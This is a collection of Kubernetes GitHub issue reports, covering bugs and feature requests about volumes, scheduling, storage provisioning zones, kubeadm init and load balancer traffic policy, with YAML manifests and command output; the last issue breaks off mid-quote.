we should have a metrics for total time spent in attach and detach. this is different from operation metrics we are capturing currently, which captures time it took for attach or detach operation to succeed.\r \r these metrics will capture total time overall it takes for a volume to be attached once it enters desired_state_of_world.  so basically, time taken for volume to appear in actual_state_of_world from desired_state_of_world.\r \r simiarly, for detach - this metric will capture time taken for volume to be removed from actual_state_of_world after it has been removed from desired_state_of_world.\r \r \r 

this issue is meant to track planned work items for pre-allocated hugepages across releases.\r \r this issue captures the plan of record discussed in the wg-resource-mgmt meetings.\r \r    v1.9\r -  x  hugepages should be restricted via resourcequota    owner  : @lichuqiang , fixed  54292 \r \r assess ability to graduate feature to beta.\r \r    1.10\r -  x  hugepages should require the user to request cpu or memory    owner  : @tanshanshan fixed  54379 \r -  x  hugepages should not be tied to qos    owner  : @tanshanshan fixed  54379 \r -     hugepages promoted to beta    owner:   @derekwaynecarr,  56939 \r \r    future\r -     hugepages isolated at container and not just pod boundary    owner  : tbd \r -     hugepages should be restricted via limitrange    owner  : tbd \r \r cc @sjenning @jeremyeder @vishh @connordoyle @kubernetes/sig-node-feature-requests \r   \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r i created a pvc  and a pod mounting with pvc  in a namespace.\r when i delete the whole namespace, according to the logs, i could see that k8s will first delete pvc, and then delete pod. while the pvc is actually a disk, we must first delete the pod, release the disk, and then delete pvc, otherwise delete the pvc first will always fail because there is a lock for the volume.\r is there any way or workaround to specify the delete sequence? thanks.\r \r   what you expected to happen  :\r delete pod first, and then delete pvc\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.2\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r changing nodeselector of a statefulset doesn't trigger rescheduling of it's existing pods. i  kubectl apply  the statefulset below, and wait for it's pods to get scheduled onto nodes with label  node_type: type1 . then i change the nodeselector label to  node_type: type2  and do  kubectl apply  again. \r \r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: sstest\r   labels:\r     app: sstest\r spec:\r   replicas: 2\r   servicename: \ service\ \r   template:\r     metadata:\r       labels:\r         app: sstest\r     spec:\r       nodeselector:\r         node_type: type1\r       containers:\r             - name: nginx\r               image: k8s.gcr.io/nginx-slim:0.8\r    \r \r   what you expected to happen  :\r \r i expect the pods to be rescheduled to the type2 nodes, but nothing happens. the pods only get rescheduled if i manually kill them using  kubectl delete pod sstest-0 .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a cluster in which some nodes have the label  node_type: type1  while some other nodes have the label  node_type: type2 .\r 2. apply the above statefulset definition to the cluster.\r 3. change the nodeselector from  node_type: type1  to  node_type: type2  in the statefulset definition file.\r 4. apply the file again.\r 5. kill a pod manually to verify that it gets rescheduled to another node.\r \r   anything else we need to know?  :\r \r i tested the same scenario with deployments. in that case the rescheduling worked as expected.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.4-gke.1\ , gitcommit:\ 04502ae78d522a3d410de3710e1550cfb16dad4a\ , gittreestate:\ clean\ , builddate:\ 2017-12-08t17:24:53z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : cos

following pod gets running but does not contain requested  emptydir :\r \r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: volumetest\r spec:\r   containers:\r   - name: container-test\r     image: busybox\r     args:\r     - sleep\r     - \ 86400\ \r     volumemounts:\r     - name: podinfo\r       mountpath: \ /downward\ \r     - name: empty\r       mountpath: \ /downward/empty\ \r   volumes:\r   - name: empty\r     emptydir:\r   - name: podinfo\r     downwardapi:\r       items:\r         - path: \ labels\ \r           fieldref:\r             fieldpath: metadata.labels\r         - path: \ annotations\ \r           fieldref:\r             fieldpath: metadata.annotations\r    \r \r    sh\r $ kubectl exec -ti volumetest ls /downward/empty\r ls: /downward/empty: no such file or directory\r    \r -> emptydir  or   any other volume    was removed from the running container.\r \r configmaps, secrets, downwardapi volumes and projected volumes have their own management of their content and actively delete anything that they think don't belong there, even other volumes. \r \r see https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/util/atomic_writer.go\r \r all other volumes can be mounted on top of each other without any issues, only there \ managed\  ones can't. we should either block that via validation  see previous attempt at  47456  or fix the volumes not to remove other volumes mounted on top of them.\r \r   @kubernetes/sig-storage-bugs \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r if no  zone  or  zones  specified in azure disk storage class, user will hit following error when creating a dynamic azure disk pvc:\r \r    \r   type       reason              age                   from                         message\r   ----       ------              ----                  ----                         -------\r   warning    provisioningfailed  5m8s  x83 over 175m   persistentvolume-controller  failed to provision volume with storageclass \ hdd-rg\ : cannot determine zones to provision volume in\r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

_problem_ there are a few issues in the e2e tests which are very verbose at +10 node scale.  this can make it hard to interpret and read through the results of a test run, esp. when there are multiple failures.  the two things i've seen in the past. - hanging at large scale. -  failures  dumping all data for 100s of nodes to stdout.    _proposed solution  4/18/2016 _   when developing e2es at small  2-4  node scale, the info is very useful.  we should log lots of stuff, but just minimize the output, unless the user specifies  --verbose .  _updated solution  4/21/2016 _  the simplest solution wound up simply supporting  2  below.   1  can be done later if we really need to.    so we should 1. introspect the cluster and find out how many nodes there are. 2. add a  debugf  which runs by default in small clusters. 3. make dump call  debugf . 4. drastically reduce the use of  logf  across the e2e suite.  cc @kubernetes/sig-testing @kubernetes/sig-scalability

kubectl delete node 192.168.78.14  kubectl get pods -o wide --all-namespaces namespace     name                                ready     status    restarts   age       node default       collectd-9pafi                      1/1       running   0          23h       192.168.78.14 default       collectd-3dslw                      1/1       running   0          23h       192.168.78.15 default       collectd-ja6p7                      1/1       running   0          23h       192.168.78.16 default       graphite-zruml                      1/1       running   0          1d        192.168.78.15 default       ha-service-loadbalancer-a7ssn       1/1       running   0          1d        192.168.78.15 default       ha-service-loadbalancer-k3hq2       1/1       running   0          1d        192.168.78.16 kube-system   kube-dns-v11-4qoi8                  4/4       running   0          1d        192.168.78.16 kube-system   kube-registry-v0-69k0f              1/1       running   0          1d        192.168.78.16 kube-system   kubernetes-dashboard-v1.0.0-cwg7k   1/1       running   0          1d        192.168.78.15

kubernetes version 1.2.5 kubectl 1.2.5 multi node cluster multi etcd cluster  if _nodeaffinity_ is set to _preferresduringschedulingignoredduringexecution_ and the _another-annotation-key: another-annotation-value_ is also set, according to documentation \ in addition, among nodes that meet that criteria, nodes with a label whose key is another-annotation-key and whose value is another-annotation-value should be preferred.\  but, the preferresduringschedulingignoredduringexecution setting is used.   for example, two nodes node1 and node2 node1 has label _kubernetes.io/image-name: nginx_ and node2 has label _kubernetes.io/image-name: hello-world_. the following pod.yaml is used.      yaml apiversion: v1 kind: pod metadata:   name: with-labels   annotations:     scheduler.alpha.kubernetes.io/affinity: >       {         \ nodeaffinity\ : {           \ preferresduringschedulingignoredduringexecution\ : {             \ nodeselectorterms\ :                 {                 \ matchexpressions\ :                     {                     \ key\ : \ kubernetes.io/image-name\ ,                     \ operator\ : \ in\ ,                     \ values\ :  \ nginx\ , \ hello-world\                     }                                 }                         }         }       }     kubernetes.io/image-name: hello-world spec:   containers: - name: with-labels     image: nginx      the kubectl create -f pod.yaml command should start a pod on the node2 as it has the label kubernetes.io/image-name: hello-world which is specified in _another-annotation-key and whose value is another-annotation-value_, but the the pod is scheduled on node1.  for the requiredduringschedulingignoredduringexecution nodeaffinity the node with label _another-annotation-key and whose value is another-annotation-value_ is used.   seems like the label with _another-annotation-key and whose value is another-annotation-value_ is preferred if nodeaffinity is requiredduringschedulingignoredduringexecution but not if nodeaffinity is   preferresduringschedulingignoredduringexecution.

i was going to propose a new api resource and admission controller, but it turns out that the new  pod preset object  https://github.com/kubernetes/features/issues/162  has great overlap with my ideas, so i reworked them in order to merge the two.\r \r the new policy object lets pods which use specific runtime resources to abstract away some of their details and defer them until creation time. for example, a pod using gpu resources might need to access low-level libraries that are inherently host-specific  sometimes kernel-specific, even . currently, such host volume mounts are not very portable, as different hosts might run different linux distributions. the problem is thus better tackled at the cluster and namespace level.\r \r full details at:\r \r https://github.com/therc/community/blob/resource-dependent-pod-preset/contributors/design-proposals/resource-dependent-pod-preset.md\r

a user on stackoverflow  reports  https://stackoverflow.com/questions/44760796/why-dont-i-see-events-relating-to-failed-kubernetes-probes?noredirect=1 comment76623813_44760796  that events for a pod with a failing liveness and/or readiness probes do not generate an event.  he has looked at the kubelet logs and sees that there is a warning log about not having a reference for the pod   this line  https://github.com/kubernetes/kubernetes/blob/v1.6.4/pkg/kubelet/prober/prober.go l98 .  he is using 1.6.4 on gke.  \r \r i was unable to reproduce with my sample pod.  but, it seems like whatever is causing this warning to get hit is bad, as it hurts debugging of pods.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r pod is in eventually  containercreating  status\r \r    \r $ kubectl describe pod limiting-redis\r name:\t\tlimiting-redis\r namespace:\tdefault\r node:\t\tkubectl/192.168.2.11\r start time:\tsat, 22 jul 2017 13:51:29 +0000\r labels:\t\t<none>\r annotations:\t<none>\r status:\t\tpending\r ip:\r containers:\r   redis-container:\r     container id:\r     image:\t\tkubernetes/redis:v1\r     image id:\r     port:\t\t<none>\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     limits:\r       memory:\t500m\r     requests:\r       memory:\t\t500m\r     environment:\t<none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-k0pqt  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue\r   ready \tfalse\r   podscheduled \ttrue\r volumes:\r   default-token-k0pqt:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-k0pqt\r     optional:\tfalse\r qos class:\tburstable\r node-selectors:\t<none>\r tolerations:\tnode.alpha.kubernetes.io/notready:noexecute for 300s\r \t\tnode.alpha.kubernetes.io/unreachable:noexecute for 300s\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t-------\r   57s\t\t57s\t\t1\tdefault-scheduler\t\t\tnormal\t\tscheduled\tsuccessfully assigned limiting-redis to kubectl\r   56s\t\t3s\t\t42\tkubelet, kubectl\t\t\tnormal\t\tsandboxchanged\tpod sandbox changed, it will be killed and re-created.\r   57s\t\t2s\t\t43\tkubelet, kubectl\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: failed to \ createpodsandbox\  for \ limiting-redis_default dca772d6-6ee4-11e7-838f-02ea070db58b \  with createpodsandboxerror: \ createpodsandbox for pod \\\ limiting-redis_default dca772d6-6ee4-11e7-838f-02ea070db58b \\\  failed: rpc error: code = 2 desc = failed to start sandbox container for pod \\\ limiting-redis\\\ : error response from daemon: {\\\ message\\\ :\\\ invalid header field value \\\\\\\ oci runtime error: container_linux.go:247: starting container process caused \\\\\\\\\\\\\\\ process_linux.go:286: decoding sync type from init pipe caused \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ read parent: connection reset by peer\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\ \\\\\\\ \\\\\\\ \\\ }\ \r    \r \r   what you expected to happen  :\r \r there should be invalid response when i create pod\r or pod should be in eventually running status\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a pod with containers.resources.limits.memory using lowercase unit 500m, 1000m, etc. , e.g.\r \r    \r apiversion: v1\r kind: pod\r metadata:\r     name: limiting-redis\r spec:\r     containers:\r     - name: redis-container\r       image: kubernetes/redis:v1\r       resources:\r         limits:\r           memory: \ 500m\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.6-rancher1\ , gitcommit:\ 973d2fa162b887a6f696f4574b85e949d480a071\ , gittreestate:\ clean\ , builddate:\ 2017-06-17t03:54:44z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  : r\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :  linux kubectl 4.4.0-77-generic  98-ubuntu smp wed apr 26 08:34:02 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r

similar to https://github.com/kubernetes/kubernetes/issues/44800 \r \r @kubernetes/sig-cli-bugs

\r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r > kind bug\r \r this is to report a hang observed during 'kubeadm init' \r \r   what happened  :\r \r suspecting kubeadm is not able to communicate with kubelet during 'kubeadm init'\r \r bash-4.2  kubeadm init\r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r  init  using kubernetes version: v1.7.6\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks\r  preflight  warning: docker version is greater than the most recently validated version. docker version: 17.03.1-ce. max validated version: 1.12\r  preflight  warning: connection to \ https://10.196.28.252:6443\  uses proxy \ https://www-proxy.us.oracle.com:80\ . if that is not intended, adjust your proxy settings\r  preflight  warning: running with swap on is not supported. please disable swap or set kubelet's --fail-swap-on flag to false.\r  preflight  warning: socat not found in system path\r  preflight  starting the kubelet service\r  kubeadm  warning: starting in 1.8, tokens expire after 24 hours by default  if you require a non-expiring token use --token-ttl 0 \r  certificates  generated ca certificate and key.\r  certificates  generated apiserver certificate and key.\r  certificates  apiserver serving cert is signed for dns names  slc12mss kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  10.96.0.1 10.196.28.252 \r  certificates  generated apiserver-kubelet-client certificate and key.\r  certificates  generated sa key and public key.\r  certificates  generated front-proxy-ca certificate and key.\r  certificates  generated front-proxy-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ \r  init  this often takes around a minute; or longer if the control plane images have to be pulled.\r \r unfortunately, an error has occurred:\r         timed out waiting for the condition\r \r this error is likely caused by that:\r         - the kubelet is not running\r         - the kubelet is unhealthy due to a misconfiguration of the node in some way  required cgroups disabled \r         - there is no internet connection; so the kubelet can't pull the following control plane images:\r                 - gcr.io/google_containers/kube-apiserver-amd64:v1.7.6\r                 - gcr.io/google_containers/kube-controller-manager-amd64:v1.7.6\r                 - gcr.io/google_containers/kube-scheduler-amd64:v1.7.6\r \r you can troubleshoot this for example with the following commands if you're on a systemd-powered system:\r         - 'systemctl status kubelet'\r         - 'journalctl -xeu kubelet'\r couldn't initialize a kubernetes cluster\r \r i verified that kubelet is up and running\r bash-4.2  systemctl status kubelet.service\r ● kubelet.service - kubelet: the kubernetes node agent\r    loaded: loaded  /etc/systemd/system/kubelet.service; enabled; vendor preset: disabled \r   drop-in: /etc/systemd/system/kubelet.service.d\r            └─10-kubeadm.conf\r    active: active  running  since tue 2017-09-19 02:13:10 pdt; 1min 49s ago\r      docs: http://kubernetes.io/docs/\r  main pid: 81037  kubelet \r    memory: 23.9m\r    cgroup: /system.slice/kubelet.service\r            └─81037 /opt/bin/kubelet --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cgroup-driver=cgroupfs --fail-swap-on=false --experimental-fail-swap-on=false --port=102...\r \r sep 19 02:13:20 slc12mss kubelet 81037 : i0919 02:13:20.965731   81037 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r ...\r \r   what you expected to happen  :\r kubeadm is expected to communcate with kubelet, create kube container instances to form a kubernetes master cluster and issue a token, that can be used to by pods to join to the created cluster \r \r   how to reproduce it  as minimally and precisely as possible   :\r $ git clone https://github.com/kubernetes/kubernetes\r $ cd kubernetes ; make quick-release\r \r created the files /etc/systemd/system/kubelet.service and /etc/systemd/system/kubelet.service.d/10-kubeadm.conf as systemctl will use the same\r \r $ /usr/local/packages/aime/install/run_as_root \ systemctl enable kubelet && systemctl start kubelet\ \r $ /usr/local/packages/aime/install/run_as_root \ kubeadm init\ \r \r   anything else we need to know?  :\r similar issue faced in kubernetes 1.6.0 version - https://github.com/kubernetes/kubernetes/issues/43815 \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r bash-4.2  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.723+8ca1d9f19ba2c7\ , gitcommit:\ 8ca1d9f19ba2c75dfbca058ecfeb11d4b39d9e9f\ , gittreestate:\ clean\ , builddate:\ 2017-09-18t07:31:58z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r linux.x64 oel7.2 vm box\r \r - os  e.g. from /etc/os-release :\r name=\ oracle linux server\ \r version=\ 7.2\ \r id=\ ol\ \r version_id=\ 7.2\ \r \r - kernel  e.g.  uname -a  :\r bash-4.2  uname -a\r linux slc12mss 4.1.12-61.1.16.el7uek.x86_64  2 smp fri oct 21 14:23:20 pdt 2016 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r \r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  : i have a statefulset configuration which uses pvc's pinned to a single availability zone. the configuration worked in kubernetes 1.6, now it's failing to create volumes in kubernetes 1.7.\r \r   what you expected to happen  : create volumes in the specified zone by the storageclass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create this storage class:\r \r    \r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: aws-us-west-2c-gp2\r provisioner: kubernetes.io/aws-ebs\r parameters:\r   type: gp2\r   zone: us-west-2c\r    \r \r then create the statefulset:\r \r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: app-master\r spec:\r   servicename: app-master\r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: app\r     spec:\r       containers:\r       - name: app\r         image: repo/app:tag\r         volumemounts:\r         - name: datadir\r           mountpath: /data\r   volumeclaimtemplates:\r   - metadata:\r       name: datadir\r     spec:\r       accessmodes:   \ readwriteonce\   \r       storageclassname: aws-us-west-2c-gp2\r       resources:\r         requests:\r           storage: 40gi\r    \r \r    \r $ kp describe pvc datadir-es-master-0\r name:          datadir-app-0\r namespace:     prod3\r storageclass:  aws-us-west-2c-gp2\r status:        pending\r volume:\r labels:        app=app\r annotations:   volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/aws-ebs\r capacity:\r access modes:\r events:\r   type     reason              age   from                         message\r   ----     ------              ----  ----                         -------\r   warning  provisioningfailed  5m    persistentvolume-controller  failed to provision volume with storageclass \ aws-us-west-2c-gp2\ : invalidzone.notfound: the zone 'us-west-2c' does not exist.\r            status code: 400, request id: 93015150-d9c1-4334-8da8-18fe64403bf1\r   warning  provisioningfailed  5m  persistentvolume-controller  failed to provision volume with storageclass \ aws-us-west-2c-gp2\ : invalidzone.notfound: the zone 'us-west-2c' does not exist.\r            status code: 400, request id: fb029ef1-0c6d-4ae9-87bc-fc30f1ff75ad\r   warning  provisioningfailed  5m  persistentvolume-controller  failed to provision volume with storageclass \ aws-us-west-2c-gp2\ : invalidzone.notfound: the zone 'us-west-2c' does not exist.\r            status code: 400, request id: 8085ef07-fe14-4f0b-a354-bd1da0472fe7\r   warning  provisioningfailed  4m  persistentvolume-controller  failed to provision volume with storageclass \ aws-us-west-2c-gp2\ : invalidzone.notfound: the zone 'us-west-2c' does not exist.\r            status code: 400, request id: 8d4479f4-97a3-421b-9d48-c32209b66549\r   warning  provisioningfailed  4m  persistentvolume-controller  failed to provision volume with storageclass \ aws-us-west-2c-gp2\ : invalidzone.notfound: the zone 'us-west-2c' does not exist.\r            status code: 400, request id: c569b0e6-d971-4107-b2a1-3be57d4d9451\r   warning  provisioningfailed  4m  persistentvolume-controller  failed to provision volume with storageclass \ aws-us-west-2c-gp2\ : invalidzone.notfound: the zone 'us-west-2c' does not exist.\r            status code: 400, request id: 1d130d29-7895-4b3d-906f-58d5076ad595\r   warning  provisioningfailed  4m  persistentvolume-controller  failed to provision volume with storageclass \ aws-us-west-2c-gp2\ : invalidzone.notfound: the zone 'us-west-2c' does not exist.\r            status code: 400, request id: 83d4cfe2-fdce-43a1-9c0a-5c21631bfb40\r   warning  provisioningfailed  3m  persistentvolume-controller  failed to provision volume with storageclass \ aws-us-west-2c-gp2\ : invalidzone.notfound: the zone 'us-west-2c' does not exist.\r            status code: 400, request id: f19d8db0-2981-4fee-9b8f-317d1e4856af\r   warning  provisioningfailed  3m  persistentvolume-controller  failed to provision volume with storageclass \ aws-us-west-2c-gp2\ : invalidzone.notfound: the zone 'us-west-2c' does not exist.\r            status code: 400, request id: cb13d4b1-225e-4551-9e76-527feca17eae\r   warning  provisioningfailed  1s  x14 over 3m   persistentvolume-controller   combined from similar events : failed to provision volume with storageclass \ aws-us-west-2c-gp2\ : invalidzone.notfound: the zone 'us-west-2c' does not exist.\r            status code: 400, request id: 9291dd5d-fca5-4e25-b6b2-96d43b451810\r    \r \r looks like a problem with aws zones in the controller.  us-west-2c  is definitely an ok zone. did the meaning of this configuration change between releases?\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ k version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-10-05t00:40:04z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.8\ , gitcommit:\ bc6162cc70b4a39a7f39391564e0dd0be60b39e9\ , gittreestate:\ clean\ , builddate:\ 2017-10-05t06:35:40z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : kops ami\r - kernel  e.g.  uname -a  : \r    \r   uname -a\r linux doit-1985983955-t847p 4.4.78-k8s  1 smp fri jul 28 01:28:39 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: kops\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r 1. create a rc, and its pod mounted a glusterfs volume by pv and pvc;\r 2. update docker and do not restart container with   live-restore: true \r 3. the container and pod are normal, but the glusterfs volume can not be accessed any more from container. but the glusterfs volume is normal.\r 4. restarting pod could resolve this problem.\r \r   what you epected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.9\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  : centos 7.3\r - install tools: manual\r - others: docker version 1.12.6\r

what happened  :\r selinux prevents a pod to access a volume mounted by  cinder csi driver  https://github.com/kubernetes/cloud-provider-openstack/tree/master/pkg/csi/cinder .\r \r it's because csi volume plugin reports that the volume does not support selinux: https://github.com/kubernetes/kubernetes/blob/a481f4bbe828d7fdec95782c02df3743c1020820/pkg/volume/csi/csi_mounter.go l254-l259\r \r kubernetes/docker then does not relabel data on the volume to be available to the pod and pod can't access it.\r \r   what you expected to happen  :\r csi plugin detects if a volume mounted by a driver supports selinux and reports that in  getattributes   .\r \r   anything else we need to know?  :\r \r selinux support is shown in /proc/mounts  or /proc/self/mountinfo  as \ seclabel\  mount option. ext4 supports selinux, proc does not:\r \r    \r /dev/sda1 /boot ext4 rw,seclabel,relatime,data=ordered 0 0\r proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0\r    \r \r the volume must be mounted though.\r \r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r this is discussed on  kubernetes-users  https://groups.google.com/forum/ !topic/kubernetes-users/hoagqd4j8j0 \r \r when externaltrafficpolicy: local is used, in gke, external traffic coming in to the load balancer works correctly. but traffic that originates within the gke cluster is broken, a tcp syn is not responded to.\r \r my use case:\r i run gitlab, gitlab-runner, docker-registry, wiki inside kubernetes.\r \r but i also access the docker-registry outside kubernetes. so my hostname for it is 'cr.company.com'. in dns this resolves to the lb ip. actually, all 3 services have dns names that resolve to the same lb ip, which then goes to the nginx ingress. so wiki.company.com, git.company.com, wiki.company.com are generally addressed as lb-ip w/ hostname+sni. its 'astonishing' to not be able to access this dns name when i'm 'inside' but can when i'm 'outside'.\r \r if i enable the ip transparency  because in my wiki i want the ip of the user who made the edit , then my gitlab-runner fails since it cannot pull from the registry .\r \r tim hockin has this to say:\r \r    \r on friday, june 22, 2018 at 1:32:45 pm utc-4, tim hockin wrote:\r i reproduced this.  here's the explanation of why it is working as intended.  we can discuss whether that intention is misguided or not.\r \r when externaltrafficpolicy is \ cluster\ , each node acts as an lb gateway to the service, regardless of where the backends might be running.  in order to make this work, we must snat  which obscures the client's ip  because the traffic could cross nodes, and you can't have the final node responding directly to the client  bad 5-tuple .  as we agree, this mode works but isn't what you want.\r \r when externaltrafficpolicy is \ local\ , only nodes that actually have a backend for a given service act as an lb gateway.  this means we do not need to snat, thereby keeping the client ip.  but what about nodes which do not have backends?  they drop those packets.  the gce load-balancer has relatively long programming time, so we don't want to change the targetpools every time a pod moves.  the healthchecks are set up such that nodes that do not have a backend fail the hc - thus the lb should never route to them!  very clever.\r \r here's the rub - the way gcp sets up lbs is via a vip which is a local ip to each vm.  by default, access to the lb vip from a node \ behind\  that vip  all nodes in k8s  is serviced by that same vm, not by the actual lb.  the assumption is that you are accessing yourself, why go through the network to do that?\r \r kubernetes makes an explicit provision for pods that access an lb vip by treating them as if they accessed the internal service vip  which is not guaranteed to stay node-local .  we did not make a provision for a node to access the lb vip in the same way.  maybe we could?  i seem to recall an issue there, in how we distinguish traffic originating from \ this vm\  vs traffic we are gatewaying.\r \r so there you see - it is doing what is intended, but maybe not what you want.  now - concvince me that the use-case of accessing an external lb vip from a node in the cluster  not a pod - a node  is worth the extra complexity?  one case i admit that falls in a crack is  hostnetwork  pods.  they will fail.\r    \r and then:\r \r    \r on friday, june 22, 2018 at 4:14:24 